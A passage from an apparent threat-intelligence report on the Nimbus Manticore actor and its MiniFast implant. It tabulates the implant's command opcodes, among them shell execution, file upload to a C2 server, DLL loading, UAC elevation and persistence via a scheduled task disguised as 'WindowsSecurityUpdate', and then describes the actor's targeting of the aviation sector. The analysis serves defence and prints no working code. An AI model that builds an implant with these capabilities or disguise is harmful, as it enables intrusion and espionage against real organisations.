custom_str_struct taskId; // at offset +0x48: unique task identifier
}
The opcode determines which capability is executed, while the remaining fields contain command arguments and task tracking identifiers. The malware implements a structured opcode-based command handler that provides operators with extensive control over infected systems.
Figure 8 – MiniFast Command switch.
The supported command set:
Opcode
Capability
Arguments
Description
0x02
List Directory
path
Lists files and folders inside a specified directory.
0x03
Move / Rename
source, destination
Moves or renames files and directories on the victim machine.
0x04
Execute Command
command
Executes shell commands using cmd.exe /c and returns captured output.
0x05
Enumerate Processes
None
Enumerates running processes and returns process names alongside their PIDs.
0x06
Delete File / Directory
path
Deletes files or directories depending on the target type.
0x07
Download File
fileUuid, destinationPath
Downloads a file from the C2 server to the local machine.
0x08
Upload File
path
Uploads local files from the infected machine to the C2 server.
0x09
Enumerate Drives
None
Lists available logical drives on the infected machine.
0x0A
Kill Process
pid
Terminates a process using its PID.
0x0B
Load DLL
dllPath, exportName
Dynamically loads a DLL and invokes a specified exported function.
0x0C
Create Directory
path
Creates a new directory on the victim machine.
0x0D
Create ZIP Archive
sourcePath, zipPath
Creates a ZIP archive from files or directories.
0xB0
Request UAC Elevation
pathOrCommand
Attempts to relaunch a process with elevated privileges using runas.
0xB1
Install Persistence
binaryPath
Creates or updates a scheduled task named WindowsSecurityUpdate.
0xF0
Set Poll Interval
milliseconds
Updates the beacon polling interval.
0xF1
Idle Command Acknowledge
None
Acknowledges an idle-time command without modifying behavior.
0xF2
Set Jitter
milliseconds
Updates the jitter value applied to beacon intervals.
Default
Unknown Opcode
Any
Returns an error for unsupported commands.
After executing a task, the implant serializes the execution result into a dedicated response structure which is Base64-encoded and submitted back to the C2 server through the /agent/result endpoint. The encoded result object contains the task identifier, execution status, and command output:
Nimbus Manticore consistently focuses on Europe, the Middle East and Africa, particularly Israel and the United Arab Emirates. However, in contrast to our previous research, the actor’s recent operations demonstrate an expansion toward aviation-sector targets in the United States.
As observed in prior campaigns, there appears to be a strong correlation between the phishing lure and the targeted sector. For example, fraudulent hiring portals impersonating aviation companies were used to target employees and organizations operating within that industry. In the current campaign, impersonate US domestic airlines suggest a deliberate focus on US-based targets.
Our findings indicate targeting extends across several strategic sectors, including aviation and software development. These sectors align with the IRGC’s broader intelligence collection priorities.
Figure 9 – Geographic Distribution of victims around the world.
Conclusion
Nimbus Manticore is one of the most sophisticated Iranian-aligned threat actors with a long-standing focus on the defense, telecommunications, and aviation sectors. The ongoing conflict in the Middle East, combined with the operational demands of wartime activity, appears to have significantly accelerated their malware evolution.
As an IRGC-affiliated entity operating under heightened geopolitical conditions, Nimbus Manticore demonstrated a rapid adoption cycle for new techniques, tooling, and operational methodologies. The actor’s activity during Operation Epic Fury highlights their increasing adaptability, particularly through the integration of AI-assisted malware development, novel infection vectors, and advanced stealth mechanisms.
Login
